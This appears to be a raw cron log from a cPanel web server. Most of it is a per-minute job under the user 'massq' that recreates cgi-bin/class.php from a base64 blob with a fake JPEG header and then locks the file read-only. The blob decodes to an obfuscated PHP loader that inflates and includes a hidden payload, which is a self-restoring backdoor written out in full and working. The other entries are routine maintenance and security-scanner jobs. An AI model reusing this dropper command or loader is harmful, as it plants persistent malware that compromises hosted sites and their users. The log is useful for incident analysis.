Sep  8 05:15:01 server CROND[24662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:15:01 server CROND[24666]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 05:16:01 server CROND[25629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:16:01 server CROND[25628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:16:01 server CROND[25630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:17:01 server CROND[26006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:17:01 server CROND[26007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:17:01 server CROND[26008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:18:01 server CROND[26429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:18:01 server CROND[26430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:18:01 server CROND[26431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:19:01 server CROND[26818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:19:01 server CROND[26820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:19:01 server CROND[26819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:20:01 server CROND[27231]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 05:20:01 server CROND[27232]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:20:01 server CROND[27233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:20:01 server CROND[27244]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 05:20:01 server CROND[27250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:20:01 server CROND[27253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:20:01 server CROND[27249]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 05:20:01 server CROND[27248]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:20:01 server CROND[27251]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 05:21:01 server CROND[28159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:21:01 server CROND[28160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:21:01 server CROND[28161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:22:01 server CROND[28542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:22:01 server CROND[28543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:22:01 server CROND[28544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:23:01 server CROND[29176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:23:01 server CROND[29177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:23:02 server CROND[29178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:24:01 server CROND[29677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:24:01 server CROND[29678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:24:01 server CROND[29680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:25:01 server CROND[30064]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 05:25:01 server CROND[30066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:25:01 server CROND[30081]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 05:25:01 server CROND[30082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:25:01 server CROND[30084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:25:01 server CROND[30085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:25:01 server CROND[30083]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:26:01 server CROND[30998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:26:01 server CROND[30999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:26:01 server CROND[31000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:27:01 server CROND[31386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 05:27:01 server CROND[31393]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 05:27:01 server CROND[31394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:27:01 server CROND[31395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:28:01 server CROND[31772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
